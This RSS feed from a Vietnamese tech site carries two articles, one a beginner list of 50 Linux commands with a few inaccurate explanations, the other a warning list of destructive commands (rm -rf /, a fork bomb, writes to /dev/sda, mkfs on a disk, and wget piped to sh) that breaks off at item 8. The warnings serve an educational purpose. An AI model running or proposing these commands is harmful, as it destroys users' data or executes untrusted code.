<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>command &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/command/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 16:47:59 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>command &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Danh sách các lệnh Linux bạn cần phải biết</title>
		<link>https://anonyviet.com/danh-sach-cac-lenh-linux-ban-can-phai-biet/</link>
					<comments>https://anonyviet.com/danh-sach-cac-lenh-linux-ban-can-phai-biet/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Wed, 29 Jun 2022 23:49:26 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[lệnh]]></category>
		<category><![CDATA[lệnh linux]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[terminal]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42132</guid>

					<description><![CDATA[Lệnh Linux là một tiện ích của hệ điều hành Linux. Các lệnh trong Linux có phân biệt chữ hoa chữ thường, Linux được sử dụng chủ yếu trong các máy chủ. Khoảng 90% Internet được cung cấp bởi các máy chủ Linux. Nguyên nhân chủ yếu là do Linux nhanh, an toàn và miễn [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Lệnh Linux là một tiện ích của hệ điều hành Linux. Các lệnh trong Linux có phân biệt chữ hoa chữ thường, Linux được sử dụng chủ yếu trong các máy chủ. Khoảng 90% Internet được cung cấp bởi các máy chủ Linux. Nguyên nhân chủ yếu là do Linux nhanh, an toàn và miễn phí.</strong></p>
<p><img fetchpriority="high" decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/06/1_sJ79IUiYrf3bT0QwVKYKGg.jpg" alt="Danh sách các lệnh Linux bắt buộc bạn phải biết" width="768" height="384" title="Danh sách các lệnh Linux bạn cần phải biết 2">Linux Shell hay “<a href="https://anonyviet.com/10-chuong-trinh-terminal-thu-vi-tren-linux/">Terminal</a>” về cơ bản, shell là một chương trình nhận lệnh từ người dùng và cung cấp cho hệ điều hành để xử lý và hiển thị kết quả đầu ra. Shell là trái tim của Linux. Các bản phân phối của nó có GUI (giao diện người dùng đồ họa), nhưng về cơ bản, Linux có CLI (giao diện dòng lệnh).</p>
<h2>Danh sách các lệnh Linux bạn cần phải biết</h2>
<p><strong>1.</strong> <strong>pwd</strong>: Khi bạn mở terminal lần đầu tiên, bạn đang ở trong thư mục chính của người dùng. Để biết bạn đang ở thư mục nào, bạn có thể sử dụng lệnh “pwd”. Nó cung cấp cho chúng ta đường dẫn tuyệt đối, có nghĩa là đường dẫn bắt đầu từ root. Root là cơ sở của hệ thống tệp Linux. Nó được biểu thị bằng dấu gạch chéo (/). Thư mục người dùng thường giống như “/home/username”.</p>
<p><strong>2.</strong> <strong>ls</strong> &#8211; Sử dụng lệnh “ls” để xem danh sách các tệp trong thư mục bạn đang truy cập. Bạn có thể xem tất cả các tệp ẩn bằng cách sử dụng lệnh “ls -a”. “Ls -l” có thể được sử dụng để xem thông tin đầy đủ hơn của tệp.</p>
<p><strong>3.</strong> <strong>cd</strong> &#8211; Sử dụng lệnh “cd” để truy cập thư mục. Ví dụ: nếu bạn đang ở trong thư mục chính và bạn muốn truy cập thư mục downloads, thì bạn có thể nhập lệnh <strong>“cd Downloads”</strong>. Hãy nhớ rằng lệnh này phân biệt chữ hoa chữ thường và bạn phải nhập chính xác tên của thư mục. Để quay lại thư mục trước đó, bạn có thể nhập<strong> “cd ..”</strong>.</p>
<p><strong>4.</strong><strong class="jw ij"> mkdir &amp; rmdir</strong> &#8211; Sử dụng <strong class="jw ij">lệnh mkdir</strong> khi bạn cần tạo một thư mục. Ví dụ: nếu bạn muốn tạo một thư mục có tên là <strong>“DIY”</strong>, thì bạn có thể nhập <strong class="jw ij">“mkdir DIY</strong> ”. Nếu bạn muốn tạo một thư mục có tên <strong>“DIY Hacking”</strong>, thì bạn có thể nhập “mkdir <strong class="jw ij">DIY\ Hacking</strong> ”. Sử dụng <strong class="jw ij">rmdir</strong> để xóa một thư mục. Nhưng <strong class="jw ij">rmdir</strong> chỉ có thể được sử dụng để xóa một thư mục trống. Để xóa thư mục chứa tệp, hãy sử dụng <strong class="jw ij">rm</strong> .</p>
<p><strong class="jw ij">5. rm</strong> &#8211; Sử dụng lệnh <strong class="jw ij">rm</strong> để xóa tệp và thư mục. Sử dụng “ <strong class="jw ij">rm -r</strong> ” để chỉ xóa thư mục. Nó xóa cả thư mục và tệp trong đó khi chỉ sử dụng lệnh <strong class="jw ij">rm</strong> .</p>
<p><strong class="jw ij">6. rf &#8211; cưỡng bức </strong><strong class="jw ij">xóa thư mục</strong> . Một tệp hoặc thư mục sẽ bị xóa bằng mọi cách ngay cả khi nó có quyền chỉ đọc. Để xóa tệp một cách cưỡng bức, hãy sử dụng lệnh: <strong>rm -f &lt;tên tệp&gt;</strong></p>
<p><strong class="jw ij">7. touch</strong> &#8211; Lệnh <strong class="jw ij">touch</strong> được sử dụng để tạo tệp. Nó có thể là bất cứ thứ gì, từ tệp txt trống đến tệp zip trống. Ví dụ: “ <strong class="jw ij">touch new.txt</strong>”.</p>
<p><strong class="jw ij">8. man &amp; &#8211; help</strong> &#8211; Để biết thêm về một lệnh và cách sử dụng nó, hãy sử dụng lệnh <strong class="jw ij">man</strong> . Nó hiển thị các hướng dẫn của lệnh. Ví dụ: “ <strong class="jw ij">man cd</strong> ” hiển thị các hướng dẫn của lệnh <strong class="jw ij">cd</strong> . Thêm -help vào cuối lệnh để xem những tham số có thể được sử dụng (ví dụ: <strong class="jw ij">cd –help</strong> ).</p>
<p><strong class="jw ij">9. cp</strong> &#8211; Sử dụng lệnh <strong class="jw ij">cp</strong> để sao chép tệp thông qua dòng lệnh. Cần có hai tham số: Thứ nhất là vị trí của tệp sẽ được sao chép, tham số thứ hai là nơi tệp được sao chép đến.</p>
<p><strong class="jw ij">10. mv</strong> &#8211; Sử dụng lệnh <strong class="jw ij">mv</strong> để di chuyển (cut) tệp. Hoặc chúng ta cũng có thể sử dụng lệnh <strong class="jw ij">mv</strong> để đổi tên tệp. Ví dụ: nếu chúng ta muốn đổi tên tệp “ <strong class="jw ij">text</strong> ” thành “ <strong class="jw ij">new</strong> ”, chúng ta có thể sử dụng “ <strong class="jw ij">mv text new</strong> ”. Nó nhận hai tham số, giống như lệnh <strong class="jw ij">cp</strong> .</p>
<p><strong class="jw ij">11. locate</strong> &#8211; Lệnh <strong class="jw ij">locate</strong> được sử dụng để định vị tệp trong hệ thống Linux, giống như lệnh tìm kiếm trong Windows. Lệnh này hữu ích khi bạn không biết nơi lưu tệp hoặc tên thực của tệp.</p>
<p><strong class="jw ij">12. echo</strong> &#8211; Lệnh “ <strong class="jw ij">echo</strong> ” giúp chúng ta di chuyển một số dữ liệu, thường là văn bản vào một tệp. Ví dụ: nếu bạn muốn tạo một tệp văn bản mới hoặc thêm văn bản vào tệp đã được tạo sẵn, bạn chỉ cần nhập “ <strong class="jw ij">echo hello, my name is alok &gt;&gt; new.txt</strong> ”.</p>
<p><strong class="jw ij">13. cat</strong> &#8211; Sử dụng lệnh <strong class="jw ij">cat</strong> để hiển thị nội dung của tệp. Nó thường được sử dụng để dễ dàng xem các chương trình. Lệnh <strong class="jw ij">cat</strong> là một tiện ích đa năng trong hệ thống Linux. Nó có thể được sử dụng để tạo tệp, hiển thị nội dung của tệp, sao chép nội dung của tệp này sang tệp khác và hơn thế nữa.</p>
<p><strong class="jw ij">14. sudo</strong> &#8211; Một lệnh được sử dụng rộng rãi trong Linux, <strong class="jw ij">sudo</strong> là viết tắt của “SuperUser Do”. Vì vậy, nếu bạn muốn bất kỳ lệnh nào được thực hiện với quyền quản trị hoặc quyền root, bạn có thể sử dụng <strong class="jw ij">lệnh sudo</strong> . Ví dụ, nếu bạn muốn chỉnh sửa một tập tin như <strong class="jw ij">viz. alsa-base.conf</strong> , cần quyền root, bạn có thể sử dụng lệnh &#8211; <strong class="jw ij">sudo nano alsa-base.conf</strong> . Bạn có thể truy cập terminal root bằng lệnh “ <strong class="jw ij">sudo bash</strong> ”, sau đó nhập mật khẩu người dùng của bạn. Bạn cũng có thể sử dụng lệnh “ <strong class="jw ij">su</strong> ” để thực hiện việc này, nhưng bạn cần đặt mật khẩu root trước đó. Bạn có thể sử dụng lệnh “ <strong class="jw ij">sudo passwd</strong> ”. Sau đó nhập mật khẩu root mới.</p>
<p><strong class="jw ij">15. df</strong> &#8211; Sử dụng lệnh <strong class="jw ij">df</strong> để xem dung lượng đĩa trống trong mỗi phân vùng trong hệ thống. Bạn chỉ có thể nhập <strong class="jw ij">df</strong> trong dòng lệnh và bạn có thể thấy từng phân vùng và dung lượng đã sử dụng/khả dụng của chúng bằng % và tính bằng KB. Nếu bạn muốn hiển thị bằng megabyte, bạn có thể sử dụng lệnh “ <strong class="jw ij">df -m</strong> ”.</p>
<p><strong class="jw ij">16. du</strong> &#8211; Sử dụng <strong class="jw ij">du</strong> để biết việc sử dụng đĩa của một tệp trong hệ thống của bạn. Nếu bạn muốn biết việc sử dụng đĩa cho một thư mục hoặc tệp cụ thể trong Linux, bạn có thể nhập lệnh <strong class="jw ij">df</strong> và tên của thư mục hoặc tệp. Ví dụ, nếu bạn muốn biết dung lượng ổ đĩa được sử dụng bởi thư mục tài liệu trong Linux, bạn có thể sử dụng lệnh “ <strong class="jw ij">du Documents</strong> ”. Bạn cũng có thể sử dụng lệnh “ <strong class="jw ij">ls -lah</strong> ” để xem kích thước tệp của tất cả các tệp trong một thư mục.</p>
<p><strong class="jw ij">17. zip, unzip</strong> &#8211; Sử dụng <strong class="jw ij">zip</strong> để nén các tệp vào một kho lưu trữ zip và <strong class="jw ij">unzip</strong> để giải nén các tệp từ một kho lưu trữ zip.</p>
<p><strong class="jw ij">18. gzip &#8211;</strong> Lệnh gzip được sử dụng để cắt bớt kích thước tệp. Nó là một công cụ nén. Nó thay thế tệp gốc bằng tệp nén có phần mở rộng &#8216;.gz&#8217;.</p>
<p><strong class="jw ij">19. uname</strong> &#8211; Sử dụng <strong class="jw ij">uname</strong> để hiển thị thông tin về hệ thống mà bạn đang sử dụng. Sử dụng lệnh “ <strong class="jw ij">uname -a</strong> ” sẽ in hầu hết thông tin về hệ thống. Thao tác này sẽ in ra ngày phát hành kernel, phiên bản, loại cpu,&#8230;</p>
<p><strong class="jw ij">20. tar</strong> &#8211; Sử dụng <strong class="jw ij">tar</strong> để làm việc với tarball (hoặc các tệp được nén trong kho lưu trữ tarball). Nó có một danh sách dài các công dụng. Nó có thể được sử dụng để nén và giải nén các loại tệp lưu trữ tar khác nhau như <strong class="jw ij">.tar, .tar.gz, .tar.bz2</strong> ,&#8230; Nó hoạt động trên cơ sở các tham số được chọn. Ví dụ: “ <strong class="jw ij">tar -cvf</strong> ” để tạo một kho lưu trữ <strong class="jw ij">.tar</strong> , &#8211; <strong class="jw ij">xvf</strong> để mở một kho lưu trữ tar, &#8211; <strong class="jw ij">tvf</strong> để liệt kê nội dung của kho lưu trữ, &#8230;.</p>
<p><strong class="jw ij">21. apt-get</strong> &#8211; Sử dụng <strong class="jw ij">apt</strong> để làm việc với các gói trong dòng lệnh Linux. Sử dụng <strong class="jw ij">apt-get</strong> để cài đặt các gói. Điều này yêu cầu đặc quyền root, vì vậy hãy sử dụng cùng <strong class="jw ij">lệnh sudo</strong>. Ví dụ, nếu bạn muốn cài đặt trình soạn thảo văn bản <strong class="jw ij">jed</strong>, chúng ta có thể nhập lệnh “ <strong class="jw ij">sudo apt-get install jed</strong> ”. Tương tự, bất kỳ gói nào cũng có thể được cài đặt như thế này. Bạn nên cập nhật kho lưu trữ của mình mỗi khi bạn cố gắng cài đặt một gói mới. Bạn có thể làm điều đó bằng cách gõ “ <strong class="jw ij">sudo apt-get update</strong> ”. Bạn có thể nâng cấp hệ thống bằng cách gõ “ <strong class="jw ij">sudo apt-get upgrade</strong> ”. Chúng ta cũng có thể nâng cấp bản phân phối bằng cách nhập “ <strong class="jw ij">sudo apt-get dist-upgrade</strong>”. Lệnh “ <strong class="jw ij">apt-cache search</strong> ” được sử dụng để tìm kiếm một gói. Nếu bạn muốn tìm kiếm một gói, bạn có thể nhập &#8221; <strong class="jw ij">apt-cache search jed</strong> &#8221; (cái này không yêu cầu root).</p>
<p><strong class="jw ij">22. chmod</strong> &#8211; Sử dụng <strong class="jw ij">chmod</strong> để làm cho một tệp có thể thực thi được và để thay đổi các quyền được cấp cho nó trong Linux. Để làm cho một tệp có thể thực thi được, bạn có thể sử dụng lệnh “ <strong class="jw ij">chmod + x number.py</strong> ” trong trường hợp này. Bạn có thể sử dụng “ <strong class="jw ij">chmod 755 number.py</strong> ” để cấp cho nó quyền root hoặc “ <strong class="jw ij">sudo chmod + x number.py</strong> ” để thực thi root.</p>
<p><strong class="jw ij">23. hostname</strong> &#8211; Sử dụng <strong class="jw ij">hostname</strong> để biết tên của bạn trong máy chủ hoặc mạng của bạn. Về cơ bản, nó hiển thị tên máy chủ và địa chỉ IP của bạn. Chỉ cần gõ “ <strong class="jw ij">hostname</strong>” là có kết quả. Nhập “ <strong class="jw ij">hostname</strong> <strong class="jw ij">-I</strong> ” để biết địa chỉ IP trong mạng của bạn.</p>
<p><strong class="jw ij">24. ping</strong> &#8211; Sử dụng <strong class="jw ij">ping</strong> để kiểm tra kết nối của bạn với máy chủ. Wikipedia cho biết, &#8221; <strong class="jw ij">Ping</strong> là một tiện ích phần mềm quản trị mạng máy tính được sử dụng để kiểm tra khả năng truy cập của máy chủ trên Giao thức Internet (IP)&#8221;. Đơn giản, khi bạn nhập “ <strong class="jw ij">ping google.com</strong> ”, nó sẽ kiểm tra xem nó có thể kết nối với máy chủ và quay lại hay không. Nó đo thời gian phản hồi này và cung cấp cho bạn thông tin chi tiết về nó.</p>
<p><strong class="jw ij">25. ps/top &#8211;</strong> Các lệnh ps/top cho phép bạn liệt kê các tiến trình đang chạy trên máy tính của mình.</p>
<p><strong class="jw ij"><em class="jv">26. kill &#8211;</em></strong> Lệnh kill có thể được sử dụng để kết thúc một tác vụ đang chạy. Bạn có thể kết thúc một chương trình không phản hồi hoặc đang chạy trong nền. Nhưng bạn sẽ phải tìm ra PID của tác vụ (bạn có thể làm điều đó với ps hoặc top).</p>
<p><strong class="jw ij"><em class="jv">27. service &#8211;</em></strong> Lệnh <strong class="jw ij"><em class="jv">service</em></strong> có thể được sử dụng để quản lý các dịch vụ trên máy tính của bạn. Nó khá linh hoạt, bạn có thể bắt đầu, dừng và khởi động lại một dịch vụ cũng như in danh sách tất cả các dịch vụ có sẵn trên máy tính của bạn.</p>
<p><strong class="jw ij">28. grep &#8211;</strong> Một lệnh cho phép bạn tìm kiếm các ký tự cụ thể trong một chuỗi . Nó sẽ chỉ in tất cả các dòng mà chuỗi bạn đã tìm kiếm xuất hiện.</p>
<p><strong class="jw ij">29. head &#8211;</strong> Lệnh head được sử dụng để hiển thị nội dung của tệp. Nó hiển thị 10 dòng đầu tiên của tệp.</p>
<p><strong class="jw ij">30. tail &#8211;</strong> Lệnh tail tương tự như lệnh head. Sự khác biệt giữa cả hai lệnh là nó hiển thị mười dòng cuối cùng của tệp. Nó rất hữu ích để đọc thông báo lỗi. ví dụ: tail txt.log HOẶC tail -f txt.log.</p>
<p><strong class="jw ij">31. more &#8211;</strong> Lệnh more khá giống với lệnh cat, vì nó được sử dụng để hiển thị nội dung tệp giống như cách mà lệnh cat thực hiện.</p>
<p><strong class="jw ij">32. less &#8211;</strong> Lệnh less tương tự như lệnh more. Nó cũng bao gồm một số tính năng bổ sung như &#8216;điều chỉnh chiều rộng và chiều cao của terminal.&#8217; Tương tự, càng nhiều nội dung sẽ cắt đầu ra theo chiều rộng của terminal.</p>
<p><strong class="jw ij">33. su &#8211;</strong> Lệnh su cung cấp quyền truy cập quản trị cho người dùng khác. Nói cách khác, nó cho phép người dùng khác truy cập shell Linux.</p>
<p><strong class="jw ij">34. id &#8211;</strong> Lệnh id được sử dụng để hiển thị ID người dùng (UID) và ID nhóm (GID).</p>
<p><strong class="jw ij">35. passwd &#8211;</strong> Lệnh passwd được sử dụng để tạo và thay đổi mật khẩu cho người dùng.</p>
<p><strong class="jw ij">36. comm &#8211;</strong> Lệnh &#8216;comm&#8217; được sử dụng để so sánh hai tệp hoặc luồng. Theo mặc định, nó hiển thị ba cột, đầu tiên hiển thị các mục không khớp của tệp đầu tiên, cột thứ hai cho biết mục không khớp của tệp thứ hai và cột thứ ba hiển thị các mục khớp của cả hai tệp: comm <strong class="jw ij">&lt;file1&gt; </strong><strong class="jw ij">&lt;file2&gt;.</strong></p>
<p><strong class="jw ij">37. sed &#8211;</strong> Lệnh sed còn được gọi là <strong class="jw ij">trình soạn thảo luồng</strong> . Nó được sử dụng để chỉnh sửa tệp bằng <a href="https://topdev.vn/blog/regex-la-gi/" target="_blank" rel="noopener">regular expression</a>. Nó không chỉnh sửa tệp vĩnh viễn; thay vào đó, nội dung đã chỉnh sửa chỉ được hiển thị. Nó không ảnh hưởng đến tệp thực tế.</p>
<p><strong class="jw ij">38. tee &#8211;</strong> Lệnh <strong class="jw ij">tee </strong>khá giống với lệnh cat. Sự khác biệt duy nhất giữa cả hai lệnh này là t<b>ee </b>đọc nội dung từ STDIN (standard input), xuất ra STDOUT (standard output) và ghi vào file.</p>
<p><strong class="jw ij">39. sort &#8211;</strong> Lệnh <strong class="jw ij">sort</strong> được sử dụng để sắp xếp các tệp theo thứ tự bảng chữ cái.</p>
<p><strong class="jw ij">40. find &#8211;</strong> Lệnh find được sử dụng để tìm một tệp cụ thể trong một thư mục. Nó cũng hỗ trợ các tùy chọn khác nhau để tìm tệp như theo tên, theo loại, theo ngày và hơn thế nữa.</p>
<p><strong class="jw ij">41. date &#8211;</strong> Lệnh date được sử dụng để hiển thị ngày, giờ, múi giờ,&#8230;</p>
<p><strong class="jw ij">42. cal &#8211;</strong> Lệnh cal được sử dụng để hiển thị lịch của tháng hiện tại với ngày hiện tại được đánh dấu.</p>
<p><strong class="jw ij">43. exit &#8211; Lệnh exit </strong>của Linux được sử dụng để thoát khỏi shell hiện tại.</p>
<p><strong class="jw ij">44. clear &#8211; Lệnh </strong><strong class="jw ij">clear</strong> của Linux được sử dụng để xóa màn hình terminal.</p>
<p><strong class="jw ij">45. ssh &#8211; Lệnh </strong>ssh của Linux được sử dụng để tạo kết nối từ xa thông qua giao thức ssh: ssh user_name@host(IP/Domain_name)<strong class="jw ij">&lt;/p&gt;</strong></p>
<p><strong class="jw ij">46. wc &#8211;</strong> Lệnh wc được sử dụng để đếm các dòng, từ và ký tự trong một tệp.</p>
<p><strong class="jw ij">47. rename &#8211;</strong> Lệnh rename được sử dụng để đổi tên tệp. Nó rất hữu ích để đổi tên một nhóm lớn các tệp.</p>
<p><strong class="jw ij">48. groupadd &#8211;</strong> Lệnh groupadd được sử dụng để tạo một nhóm người dùng.</p>
<p><strong class="jw ij">49. cut &#8211;</strong> Lệnh cut được sử dụng để chọn một cột cụ thể của tệp. Tùy chọn &#8216;-d&#8217; được sử dụng làm dấu phân cách và nó có thể là dấu cách (&#8221;), dấu gạch chéo (/), dấu gạch ngang (-) hoặc bất kỳ thứ gì khác. Và, tùy chọn &#8216;-f&#8217; được sử dụng để chỉ định một số cột.</p>
<p><strong class="jw ij">50. comm &#8211;</strong> Lệnh &#8216;comm&#8217; được sử dụng để so sánh hai tệp hoặc luồng. Theo mặc định, nó hiển thị ba cột, đầu tiên hiển thị các mục không khớp của tệp đầu tiên, cột thứ hai cho biết mục không khớp của tệp thứ hai và cột thứ ba hiển thị các mục khớp của cả hai tệp: comm <strong class="jw ij">&lt;file1&gt; </strong><strong class="jw ij">&lt;file2&gt;.</strong></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể sử dụng lệnh nào để xem thư mục hiện tại của mình?</h3>
<p>Bạn có thể sử dụng lệnh <code>pwd</code> (print working directory) để xem đường dẫn tuyệt đối của thư mục hiện tại.</p>
<h3>Làm thế nào để tôi tạo một thư mục mới và xóa một thư mục trống?</h3>
<p>Để tạo thư mục mới, sử dụng lệnh <code>mkdir [tên thư mục]</code>.  Để xóa một thư mục trống, sử dụng lệnh <code>rmdir [tên thư mục]</code>.</p>
<h3>Lệnh nào dùng để xem nội dung của một tập tin?</h3>
<p>Bạn có thể sử dụng lệnh <code>cat [tên tập tin]</code> để hiển thị nội dung của một tập tin.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/danh-sach-cac-lenh-linux-ban-can-phai-biet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>10 lệnh Linux nguy hiểm bạn không nên chạy thử</title>
		<link>https://anonyviet.com/10-lenh-linux-nguy-hiem-ban-khong-nen-chay-thu/</link>
					<comments>https://anonyviet.com/10-lenh-linux-nguy-hiem-ban-khong-nen-chay-thu/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Thu, 09 Sep 2021 02:43:28 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[lệnh]]></category>
		<category><![CDATA[lệnh nguy hiểm]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=33609</guid>

					<description><![CDATA[Hệ điều hành Linux cho người dùng độc lập hơn so với Windows hoặc bất kỳ hệ điều hành nào khác. Mặc dù đối với một số nhà phát triển có kinh nghiệm, hệ điều hành Linux cho người dùng tự do hơn để thực hiện các hoạt động, nhưng nó cũng nguy hiểm không [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Hệ điều hành Linux cho người dùng độc lập hơn so với Windows hoặc bất kỳ hệ điều hành nào khác. Mặc dù đối với một số nhà phát triển có kinh nghiệm, hệ điều hành <a href="https://www.linux.org/" target="_blank" rel="noopener">Linux</a> cho người dùng tự do hơn để thực hiện các hoạt động, nhưng nó cũng nguy hiểm không kém. Mặc dù mọi công nghệ đều có ưu và khuyết điểm riêng. Nhưng điều quan trọng nhất là người dùng phải hiểu được lệnh trước khi thực hiện. Vậy nên trong bài viết này, mình sẽ liệt kê ra 10 lệnh Linux chết người mà bạn không bao giờ nên chạy.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/09/most-dangerous-linux-command-1.jpg" alt="10 lệnh Linux chết người mà bạn không bao giờ nên chạy" width="675" height="375" title="10 lệnh Linux nguy hiểm bạn không nên chạy thử 4"></p>
<p>&nbsp;</p>
<h2>10 lệnh Linux chết người mà bạn không bao giờ nên chạy</h2>
<h3>1. Xóa đệ quy</h3>
<p>Một trong những cách nhanh nhất để xóa thư mục và nội dung của nó là dùng lệnh <code>rm -rf</code>. Lệnh này sẽ xóa sạch mọi thứ trong tệp, thư mục hoặc ổ cứng mà lệnh đang chạy. Mình sẽ chia nhỏ lệnh ra để dễ hiểu hơn:</p>
<p>rm &#8211; Xóa tất cả các tệp ở vị trí đã cho</p>
<p>-rf &#8211; Lệnh này được chia thành hai phần: r và f. r cho phép bạn xóa tất cả các tệp một cách đệ quy trong khi f có nghĩa là xóa tất cả các tệp mà không cần nhắc người dùng.</p>
<p>Có một số biến thể của lệnh này trên mạng, nhưng điểm chung của các lệnh này là sẽ xóa sạch mọi dữ liệu trên thư mục lệnh đang chạy. Dữ liệu bị mất từ ​​lệnh này không thể phục hồi theo bất kỳ cách nào.</p>
<ul>
<li>rm &#8211; Lệnh này được sử dụng để xóa tất cả các tệp trong đường dẫn mà bạn sẽ cung cấp</li>
<li>rm -r &#8211; Lệnh này được sử dụng để xóa các tệp một cách đệ quy khỏi tất cả các thư mục và thư mục con trong Hệ điều hành Linux.</li>
<li>rm -f &#8211; Lệnh này được sử dụng để xóa các tệp trên đường dẫn được cung cấp mà không cần nhắc người dùng. Bao gồm cả xóa “Read Only Files”.</li>
<li>rm -rf / &#8211; Đây là một trong những lệnh nguy hiểm nhất vì / là thư mục gốc của hệ điều hành. Khi lệnh này được chạy, nó sẽ xóa đệ quy tất cả nội dung của thư mục gốc. Như vậy, tất cả các thư mục và thư mục con của bạn sẽ bị xóa và dữ liệu sẽ bị mất.</li>
<li>rm -rf * &#8211; Lệnh này xóa tất cả dữ liệu trong thư mục đang làm việc</li>
<li>rm -rf. &#8211; Lệnh này xóa các tệp trong thư mục làm việc hiện tại cũng như các thư mục con. Nó cũng xóa tất cả các tệp cấu hình trong thư mục.</li>
</ul>
<h3>2. Fork Bomb</h3>
<p>Đây là một hàm bash đơn giản mà sau khi được thực thi sẽ tạo ra các bản sao của chính nó. Do đó gây tốn thời gian và tài nguyên bộ nhớ của CPU. Lệnh này sẽ chạy đệ quy cho đến khi hệ thống bị đóng băng.</p>
<pre>:(){:|:&amp;};:</pre>
<h3>3. Ghi đè ổ cứng</h3>
<p>Nếu bạn thực hiện lệnh dưới trên ổ cứng của mình, thì việc khôi phục dữ liệu là hoàn toàn không thể.</p>
<pre>command &gt; dev/sda</pre>
<p>Lệnh này ghi dữ liệu thô vào ổ cứng bạn muốn. Điều này dẫn đến mất dữ liệu trong ổ cứng hoặc phân vùng trong lệnh. Mình sẽ chia nhỏ lệnh ra cho dễ hiểu.</p>
<p><strong>command</strong> &#8211; Đây có thể là bất kỳ lệnh nào được nhập bởi người dùng <strong>&gt; </strong>&#8211; Chịu trách nhiệm gửi đầu ra của lệnh đến vị trí đã nhập dev/ sda &#8211; Đầu ra của lệnh sẽ được ghi vào vị trí này. Vì vậy, hãy cẩn thận khi sử dụng lệnh có vị trí ổ cứng chẳng hạn như dev/sda.</p>
<h3>4. Mã hóa ổ cứng</h3>
<p>Trong mọi hệ thống Linux, dev/null là một vị trí đặc biệt được ví như một lỗ đen. Bất cứ thứ gì di chuyển đến lỗ đen này đều bị phá hủy. Nếu bạn vô tình di chuyển dữ liệu của mình vào thư mục này, dữ liệu của bạn sẽ không được khôi phục.</p>
<pre>mv /home/root/*  dev/null</pre>
<p>Lệnh trên sẽ di chuyển tất cả dữ liệu trong thư mục home/root vào dev/null, dẫn đến mất dữ liệu. Mình sẽ chia nhỏ lệnh ra cho dễ hiểu.</p>
<p>mv &#8211; Lệnh này được sử dụng để di chuyển một thư mục đến một vị trí khác</p>
<p>/home/root/ * &#8211; Đây là vị trí của thư mục sẽ được di chuyển</p>
<p>dev/null &#8211; Vị trí đặc biệt được ví như lỗ đen</p>
<p>Vì vậy, bạn nên cẩn thận trong khi chạy lệnh này.</p>
<h3>5. Tải các tập lệnh độc hại</h3>
<p>Tất cả chúng ta đều nhận thức được lợi ích của lệnh “wget” trong Linux nhưng điều mà chúng ta không biết là nó có thể tải xuống các tập lệnh và vi rút độc hại cũng như phần mềm có lợi. Nếu bạn tình cờ chạy một trong các lệnh sau, thì bạn nên cẩn thận.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh</pre>
<p>Các lệnh trên tải xuống nội dung từ URL được cung cấp và chạy tập lệnh đã tải xuống.</p>
<h3>6. Định dạng ổ cứng</h3>
<p>Có một lệnh khác để xóa ổ cứng của bạn và định dạng lại ổ cứng. Nhưng lệnh này chỉ nên được sử dụng trong trường hợp bạn đã sao lưu dữ liệu của mình trên đám mây hoặc thiết bị bên ngoài.</p>
<pre>mkfs.ext3 /dev/sda</pre>
<p>Chạy lệnh này giống như format ổ C trong windows, trong đó tất cả tệp sẽ được xóa sạch khỏi ổ đĩa. Để bạn dễ hiểu hơn, hãy chia nhỏ lệnh này.</p>
<pre>mkfs.ext3 - Tạo ra một hệ thống tệp ext3 mới trên ổ cứng.</pre>
<pre>dev/sda - Chỉ định phân vùng đầu tiên trên ổ cứng.</pre>
<p>Khi lệnh này được thực thi, nó sẽ định dạng phân vùng được chỉ định trên ổ cứng theo ext3.</p>
<h3>7. Ghi nội dung file</h3>
<p>Lệnh xóa nội dung tệp là một lệnh dễ dàng và có thể được thực thi trong bất kỳ trường hợp nào.</p>
<pre>&gt;file</pre>
<p>Toán tử <code>&gt;</code> chuyển hướng đầu ra thành một file và ghi đè lên nội dung của file đó. Ví dụ:</p>
<pre id="pre0" class="language-html prettyprint prettyprinted"><code><span class="pln">echo "first statement" &gt; file1.txt</span></code></pre>
<p>Lệnh trên sẽ ghi dòng chữ <code><span class="pln">first statement</span></code> vào file <code><span class="pln">file1.txt</span></code>.</p>
<h3>8. Chỉnh sửa lệnh trước</h3>
